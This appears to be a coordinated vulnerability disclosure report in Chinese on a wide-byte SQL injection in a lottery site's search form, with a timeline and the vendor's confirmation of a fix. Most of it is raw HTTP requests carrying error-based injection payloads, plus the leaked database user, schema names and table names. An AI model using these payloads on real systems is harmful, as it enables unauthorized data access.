2015-04-25: 细节已通知厂商并且等待厂商处理中 2015-04-25: 厂商已经确认,细节仅向厂商公开 2015-05-05: 细节向核心白帽子及相关领域专家公开 2015-05-08: 厂商已经修复漏洞并主动公开,细节向公众公开
http://bind.17500.cn/?c=find
宽字节注入:
POST /?c=find&a=result HTTP/1.1Host: bind.17500.cnUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://bind.17500.cn/?c=findCookie: PHPSESSID=0v0decj1ln7rpdbi076csgqkg2; pgv_pvi=7211233280; pgv_si=s8662739968Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 50utype=username&username=%bf%27&submit=%CB%D1%CB%F7
username参数,Sqlmap没跑出来,手动来吧。
先看看用户:
POST /?c=find&a=result HTTP/1.1Host: bind.17500.cnUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://bind.17500.cn/?c=findCookie: PHPSESSID=0v0decj1ln7rpdbi076csgqkg2; pgv_pvi=7211233280; pgv_si=s8662739968Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 238utype=username&username=%bf%27||(select 1 from(select count(*),concat((select concat(0x5e5e5e,user(),0x5e5e5e) from information_schema.tables limit 10,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&submit=%CB%D1%CB%F7
user:root@bbs10
接下来是数据库:
POST /?c=find&a=result HTTP/1.1Host: bind.17500.cnUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://bind.17500.cn/?c=findCookie: PHPSESSID=0v0decj1ln7rpdbi076csgqkg2; pgv_pvi=7211233280; pgv_si=s8662739968Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 244utype=username&username=%bf%27||(select 1 from(select count(*),concat((select concat(0x5e5e5e,schema_name,0x5e5e5e) from information_schema.SCHEMATA limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&submit=%CB%D1%CB%F7
10个库:
information_schemabbsloglotterymysqlnewlebiperformance_schematestucucbakuprofile
获取当前库中的表:
POST /?c=find&a=result HTTP/1.1Host: bind.17500.cnUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://bind.17500.cn/?c=findCookie: PHPSESSID=0v0decj1ln7rpdbi076csgqkg2; pgv_pvi=7211233280; pgv_si=s8662739968Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 271utype=username&username=%bf%27||(select 1 from(select count(*),concat((select concat(0x5e5e5e,table_name,0x5e5e5e) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&submit=%CB%D1%CB%F7
有38个表,取前面几个吧:
uc_admin_jsuc_adminsuc_applicationsuc_avatar_validateuc_badwordsuc_domainsuc_failedlogins
因为开启了gpc,字段得全部进行提取,有点麻烦,后面的就不弄了。。。
危害等级:高
漏洞Rank:15
确认时间:2015-04-25 22:18
非常感谢提供漏洞信息,我们尽快修复。
2015-05-08:已经及时处理